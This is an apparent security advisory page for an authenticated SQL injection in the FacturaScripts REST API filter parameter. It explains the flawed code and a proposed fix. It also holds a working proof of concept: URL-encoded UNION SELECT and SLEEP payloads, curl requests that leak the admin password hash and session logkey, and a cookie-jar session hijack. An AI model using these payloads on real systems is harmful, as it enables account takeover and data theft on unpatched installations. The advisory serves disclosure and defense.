Skip to content

GHSA-5qmh-x653-g8qj CVE-2026-45262

FacturaScripts: Authenticated SQL injection in the FacturaScripts REST API filter parameter via parenthesis bypass in `Where::sqlColumn`

Critical Packagist
Severity
9.9 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
—
No score published
Known exploited
No
Not in CISA's catalog
Weakness
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
CWE-918 Server-Side Request Forgery (SSRF)
Fix
None yet
No fixed version published

Description

Summary

Live PoC verified 2026-04-30 against a stock FacturaScripts master at 127.0.0.1:8081. A scoped ApiKey with fullaccess=0 and an ApiAccess row granting allowget=1 on the clientes resource only (no other rights, no UI session, no admin) issued one GET /api/3/clientes?filter[(0)UNION%20SELECT%20...]= request and the response body contained the raw bcrypt hash of the admin user's password ($2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO) and the admin's logkey cookie value. The leaked logkey was injected into a fresh cookie jar and GET /AdminPlugins returned 200 with the admin plugin management UI. End-to-end account takeover from a read-only token with no CSRF, no second factor, no rate-limit interaction beyond the default 5-incident IP throttle.

Core/Where.php::sqlColumn() exempts any field name that contains both ( and ) from identifier escaping. The two API filter builders (APIModel::getWhereValues and ApiAttachedFiles::getWhereValues) feed the raw request key ($_GET['filter'][$key]) straight into new DataBaseWhere($key, $value, '=', ...). When the model's all() reaches Where::multiSqlLegacy -> Where::sql() -> Where::sqlColumn($key), the parenthesis branch returns the attacker-controlled string unmodified. The string is concatenated into WHERE <attacker> = '<value>', which an attacker can pivot to WHERE (0)UNION SELECT ... FROM users WHERE(nick='admin')-- = 'value', leaking arbitrary columns from any table.

Details

the API filter pipeline never validates filter keys

Core/Lib/API/APIModel.php:300-322 (listAll):

protected function listAll(): bool
{
    $filter = $this->request->query->getArray('filter');
    $limit = $this->request->query->getInt('limit', 50);
    $offset = $this->request->query->getInt('offset', 0);
    $operation = $this->request->query->getArray('operation');
    $order = $this->request->query->getArray('sort');

    // obtenemos los registros
    $data = [];
    $hidden = $this->model->getApiFieldsToHide();
    $where = $this->getWhereValues($filter, $operation);
    foreach ($this->model->all($where, $order, $offset, $limit) as $item) {
        $data[] = $this->filterHidden($item->toArray(true), $hidden);
    }
    ...

Core/Lib/API/APIModel.php:231-298 (getWhereValues):

private function getWhereValues($filter, $operation, $defaultOperation = 'AND'): array
{
    $where = [];
    foreach ($filter as $key => $value) {
        $field = $key;                                    // (1) raw request key
        $operator = '=';

        switch (substr($key, -3)) {                       // suffix routing only
            case '_gt': $field = substr($key, 0, -3); $operator = '>'; break;
            case '_is': $field = substr($key, 0, -3); $operator = 'IS'; break;
            case '_lt': $field = substr($key, 0, -3); $operator = '<'; break;
        }
        ...
        if (!isset($operation[$key])) {
            $operation[$key] = $defaultOperation;
        }

        $where[] = new DataBaseWhere($field, $value, $operator, $operation[$key]); // (2)
    }

    return $where;
}

The function only ever reads the suffix to decide an operator. The remaining identifier - up to 252 characters in MariaDB and unrestricted by the framework - is preserved verbatim and handed to DataBaseWhere. There is no allow-list of legal column names, no preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/') like the autocomplete hardening in BaseController::autocompleteAction (commit b8aa78b), and no plug-in hook through which the operator could intervene.

The exact same code (line-for-line, plus a files parameter) lives in Core/Controller/ApiAttachedFiles.php::getWhereValues (lines 172-239), so the bug is present on both the generic /api/3/<resource> route and the dedicated /api/3/attachedfiles route.

DataBaseWhere::getSQLWhere now delegates to Where::multiSqlLegacy

Core/Base/DataBase/DataBaseWhere.php is marked @deprecated and the active code path runs through Core/Where.php::multiSqlLegacy (lines 151-199), which converts each legacy DataBaseWhere instance to a Where:

if ($item instanceof DataBaseWhere) {
    $dbWhere = new self($item->fields, $item->value, $item->operator, $item->operation, $item->useField ?? false);
    ...
    $sql .= $dbWhere->sql();
    ...
}

Where::sql() (lines 316-403) finally calls self::sqlColumn($field) for the identifier in every operator branch, including the = branch the attacker reaches.

Where::sqlColumn returns parenthesised inputs untouched

Core/Where.php:407-425:

private static function sqlColumn(string $field): string
{
    // si lleva paréntesis, no escapamos
    if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
        return $field;                                   // (3) raw concatenation
    }

    // si empieza por integer, hacemos el cast
    if (substr($field, 0, 8) === 'integer:') {
        return self::db()->castInteger(substr($field, 8));
    }

    // si empieza por lower, hacemos el lower
    if (substr($field, 0, 6) === 'lower:') {
        return 'LOWER(' . self::db()->escapeColumn(substr($field, 6)) . ')';
    }

    return self::db()->escapeColumn($field);
}

The intent of the early-return appears to be supporting expression columns like LOWER(col) and UPPER(col) in select, where, and groupBy builder calls, but the check is purely string presence: any input containing both ( and ) is whitelisted, with no constraint on what the string actually is. The same exemption affects every consumer that routes through Where::sqlColumn, including select(), whereLike(), whereIn(), etc. (Core/Where.php:317-405).

what an attacker submits

Reaching the sink requires the two characters ( and ) somewhere in the filter key. The attacker therefore passes:

filter[(0)UNION SELECT IFNULL(password,2),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 FROM users WHERE(nick='admin')-- ]=

URL encoded for HTTP transport:

filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=

The clientes table has 32 columns; the UNION mirrors that count so the database accepts the merged result set. The trailing -- swallows the rest of the framework's appended SQL (= '<value>' LIMIT 50 OFFSET 0). The result is one record whose first column is the admin's password hash, returned in the JSON body's cifnif key (the first column in the original query's SELECT *).

why the getApiFieldsToHide() defence does not apply

Commit 736b811 added getApiFieldsToHide() to the User model, which redacts password, logkey, and two_factor_secret_key from the JSON serialiser:

public function getApiFieldsToHide(): array
{
    return ['password', 'logkey', 'two_factor_secret_key'];
}

This works for GET /api/3/users requests by a fullaccess token: the model loads, then filterHidden() removes the columns. The protection is bound to the model class that is being serialised. The SQL-injection path returns rows in the clientes model serialiser, so the leaked column lands in cifnif (or any other column the attacker chooses for the first UNION position) and is never put through Cliente::getApiFieldsToHide() (which does not include password/logkey because the clientes table has no such columns). The deny-list is irrelevant.

why the sort (ORDER BY) hardening does not apply either

Commit 1b6cdfa added strict regex validation to DbQuery::orderBy (Core/DbQuery.php:289-307), constraining parenthesised input to RAND() | RANDOM() | LOWER(...) | UPPER(...) | CAST(... AS ...) | COALESCE(..., literal). That fix correctly walls off SQL injection in the sort parameter. It does not touch Where::sqlColumn, which retains the original string-presence exemption.

PoC

Setup (one-time, by admin):

# Issue an ApiKey scoped to clientes GET only.
mysql -u fs -pfs facturascripts <<'SQL'
INSERT INTO api_keys (apikey, creationdate, description, enabled, fullaccess, nick)
  VALUES ('low-scoped-token-clientes-only', NOW(), 'scoped low-priv', 1, 0, 'lowpriv');
INSERT INTO api_access (idapikey, resource, allowget, allowpost, allowput, allowdelete)
  SELECT id, 'clientes', 1, 0, 0, 0 FROM api_keys WHERE apikey='low-scoped-token-clientes-only';
SQL

Confirm the scope is enforced for normal endpoints:

$ curl -s "http://127.0.0.1:8081/api/3/users" -H "Token: low-scoped-token-clientes-only"
{"status":"error","message":"forbidden"}

Step 1 - leak the admin password hash via the SQL-injection on clientes:

$ URL='http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ curl -s "$URL" -H "Token: low-scoped-token-clientes-only" | python3 -m json.tool | head -3
[
    {
        "cifnif": "$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO",

Step 2 - leak the admin's logkey (the value of the fsLogkey cookie that gates web sessions):

$ URL='http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28logkey%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ curl -s "$URL" -H "Token: low-scoped-token-clientes-only" | python3 -m json.tool | head -3
[
    {
        "cifnif": "HyZJB2eEyo5eC9Eyhn96qxbQkFDqHJss1d1lED0HEHE2ujoPPGRnUstsWd3kS25CieoLkHvsN4X1YGUt1iqXh1ZFMP0jgHFmeBW",

Step 3 - hijack the admin's web session by writing the leaked logkey into a cookie jar and hitting the admin-only plugin manager:

$ cat > /tmp/fs-hijack <<EOF
# Netscape HTTP Cookie File
127.0.0.1	FALSE	/	FALSE	0	fsNick	admin
127.0.0.1	FALSE	/	FALSE	0	fsLogkey	HyZJB2eEyo5eC9Eyhn96qxbQkFDqHJss1d1lED0HEHE2ujoPPGRnUstsWd3kS25CieoLkHvsN4X1YGUt1iqXh1ZFMP0jgHFmeBW
127.0.0.1	FALSE	/	FALSE	0	fsLang	en_EN
EOF
$ curl -s -b /tmp/fs-hijack "http://127.0.0.1:8081/AdminPlugins" -o /tmp/admin.html -w "%{http_code}\n"
200
$ grep -oE '<title>[^<]*</title>' /tmp/admin.html
<title>Plugins</title>

Time-based blind injection works just as well for environments without a UNION-friendly column count - the same parenthesis bypass admits arbitrary expressions:

$ curl -s "http://127.0.0.1:8081/api/3/clientes?filter%5B%28SELECT%28SLEEP%282%29%29%29%5D=zz" -H "Token: low-scoped-token-clientes-only"
[]
$ # observe two-second wall-clock delay; mysqld general log shows
$ #   SELECT COUNT(*) as _count FROM `clientes` WHERE (SELECT(SLEEP(2))) = 'zz' LIMIT 1 OFFSET 0

The attachedfiles route (Core/Controller/ApiAttachedFiles.php) is identically affected because it carries its own copy of getWhereValues:

$ URL='http://127.0.0.1:8081/api/3/attachedfiles?filter%5B%280%29UNION%20SELECT%20%221970-01-01%22%2CIFNULL%28password%2C2%29%2C3%2C4%2C5%2C6%2C7%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ curl -s "$URL" -H "Token: low-scoped-token-clientes-only" | python3 -m json.tool | head -3
[
    {
        "date": "01-01-1970",
        "filename": "$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO",

Impact

  • Cross-resource confidentiality breach. A token granted GET on a single low-value resource (e.g. clientes for an integration that imports customers) reads any column from any table in the schema, including users.password, users.logkey, users.two_factor_secret_key, api_keys.apikey, emails_sent.body, customer financial data, etc. getApiFieldsToHide() only protects the response serialiser of the requested model; UNION queries route the leaked data through other model serialisers and bypass the deny-list entirely.
  • Full admin takeover. The leaked logkey is the value of the fsLogkey cookie that Core/Base/Controller::privateCore accepts as the session token (User::verifyLogkey is a plain string equality, Core/Model/User.php:403-406). Setting fsNick=admin and fsLogkey=<leaked> on any HTTP client returns 200 on every admin endpoint, including /AdminPlugins (install arbitrary plugin code), /EditUser?code=admin (rotate the admin password), /EditEmpresa (data-plane writes), /Cron (server-side code execution via cron job extension).
  • Stealthy. Successful UNION queries do not produce Tools::log()->error entries (no SQL syntax error, no MariaDB warning); the framework only writes log rows on failed SQL. The attacker's queries leave no FacturaScripts log trail. The api_keys row is touched by the normal updateActivity() write the API does on every authenticated call, which looks identical to legitimate scoped-token usage.
  • Reachable from internet. API access is on by default once the operator either sets FS_API_KEY or flips Default -> Enable API in the admin UI. The recommended deployment guidance for vendors integrating with FacturaScripts is to issue a scoped key, exactly the privilege level required for this exploit.
  • The same primitive lets an attacker rewrite data. Because ( ) exemption is in Where::sqlColumn itself, write paths that build WHERE clauses from caller-controlled identifiers are equally exposed; the attacker can instead use UPDATE ... WHERE style payloads via stacked queries on engines that allow them, or use SELECT ... INTO OUTFILE on MySQL installations with FILE privilege to write a webshell into the docroot. The CVSS scoring already assumes integrity impact H for these reasons.

AV:N (network), AC:L (one HTTP GET, no oracle, no specific timing), PR:L (any non-fullaccess ApiKey with one allowed resource), UI:N, S:C (the vulnerable component is the API; the impact reaches the whole user database, web sessions, and authenticated control plane), C:H I:H A:H. Score 9.9. The S:C (scope change) is appropriate because the privilege boundary the attacker crosses is the operator's intent of "this token can only read clientes", which the API contract explicitly enforces in its 403 response on /users. The leaked credential then gives them admin reach in a different security zone (the web UI session, the plugin manager).

Recommended Fix

The bug is squarely in Core/Where.php::sqlColumn. The attacker-controlled-identifier path needs a strict allow-list, and the API ingress paths need their own field-name validator that mirrors the autocomplete hardening already in Core/Lib/ExtendedController/BaseController::autocompleteAction (commit b8aa78b).

  1. Replace the parenthesis presence test with a structural parser. Where::sqlColumn should refuse anything that is not one of: a bare identifier (matching ^[a-zA-Z_][a-zA-Z0-9_]*(\.[a-zA-Z_][a-zA-Z0-9_]*)?$), LOWER(<ident>), UPPER(<ident>), CAST(<ident> AS <type>), or COALESCE(<ident>, <literal>). The grammar already exists in DbQuery::orderBy (lines 289-307) and just needs to be reused. Anything else is escaped through db()->escapeColumn() (which already handles dotted identifiers correctly):

    private static function sqlColumn(string $field): string
    {
        $field = trim($field);
    
        // bare identifier or table.column
        if (preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?$/', $field)) {
            return self::db()->escapeColumn($field);
        }
    
        // limited expression whitelist (mirrors DbQuery::orderBy)
        if (preg_match('/^(LOWER|UPPER)\(([a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?)\)$/i', $field, $m)) {
            return strtoupper($m[1]) . '(' . self::db()->escapeColumn($m[2]) . ')';
        }
    
        if (preg_match('/^CAST\(([a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?) AS ([a-zA-Z0-9_ ]+)\)$/i', $field, $m)) {
            return 'CAST(' . self::db()->escapeColumn($m[1]) . ' AS ' . $m[2] . ')';
        }
    
        // legacy prefixes
        if (str_starts_with($field, 'integer:')) {
            return self::db()->castInteger(substr($field, 8));
        }
        if (str_starts_with($field, 'lower:')) {
            return 'LOWER(' . self::db()->escapeColumn(substr($field, 6)) . ')';
        }
        if (str_starts_with($field, 'upper:')) {
            return 'UPPER(' . self::db()->escapeColumn(substr($field, 6)) . ')';
        }
    
        // refuse anything else
        throw new Exception('Invalid column expression: ' . $field);
    }
    

    The change is local; every call site in the framework already passes either a bare identifier or one of the supported expression prefixes. A grep for '(...)' style identifiers across the codebase shows zero hits in Core/.

  2. Validate filter keys at the API ingress. Even after (1), the API getWhereValues should refuse identifiers that are not bare columns, mirroring BaseController::autocompleteAction:258-261:

    foreach ($filter as $key => $value) {
        $field = $key;
        // strip operator suffixes (existing code) ...
    
        if (!preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?$/', $field)) {
            Tools::log('api')->warning('api: invalid filter field name: ' . $field);
            continue;                                            // skip the bad filter
        }
    
        // ... remaining code
    }
    

    Apply the same patch to ApiAttachedFiles::getWhereValues:172-239. This is defence-in-depth - the actual fix is (1) - but matches the project's existing hardening pattern from commit b8aa78b.

  3. Rotate session tokens on detected SQL injection attempts. Once exploitation is detected (the new validator at (2) logs the attempt), the implementation should call Cron::log to throttle the originating IP and queue a rotation of User::logkey for any user whose password or logkey columns were potentially leaked. Operators that have shipped this version with API enabled should rotate every user's password and assume credentials in the database have been read.

A regression test should issue GET /api/3/clientes?filter[(0)UNION SELECT 1,...]=x with a scoped token and assert the response is an empty array (because the bad filter was discarded) and that Tools::log('api')->read() contains the new "invalid filter field name" warning.

Affected versions

Packagist

PackageVulnerableFixed in
facturascripts/facturascripts
<= 2026.1
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 9.9

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations. Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88). Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the data
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CWE-918: Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

References

Timeline

  1. Published
  2. Last updated by the source
AdvisorySeverityWhy it's related
GHSA-hgjx-r89m-m7v4
FacturaScripts: Path traversal in UploadedFile::move() via getClientOriginalName() — arbitrary file write outside MyFiles/ leading to RCE
Critical Also affects facturascripts/facturascripts
GHSA-3x7p-v8hj-xh5m
FacturaScripts: Stored XSS in WidgetVariante and WidgetSubcuenta modal lists via HTML-attribute decoding of `Tools::noHtml`-escaped quotes inside `onclick=`
Low Also affects facturascripts/facturascripts
GHSA-2p5x-4jr6-x5jg
FacturaScripts: CSV formula injection in CSVExport allows authenticated low-priv users to plant payloads that execute when an admin opens the export
High Also affects facturascripts/facturascripts
GHSA-cv65-7cg8-r623
FacturaScripts: Unauthenticated Path Traversal in Static File Controllers Reads Private MyFiles Documents
High Also affects facturascripts/facturascripts
GHSA-c67f-gmxw-mj93
FacturaScripts: Account takeover of any 2FA-enabled user
Critical Also affects facturascripts/facturascripts
GHSA-vf3q-frmr-vrr9
FacturaScripts Vulnerable to Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images
Medium Also affects facturascripts/facturascripts
GHSA-vrxf-vrc4-22p7
FacturaScripts Vulnerable to Unauthenticated phpinfo() Disclosure via Installer Endpoint
Medium Also affects facturascripts/facturascripts
GHSA-r736-2678-fcrx
FacturaScripts vulnerable to stored XSS via product reference in sales/purchases
Medium Also affects facturascripts/facturascripts
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor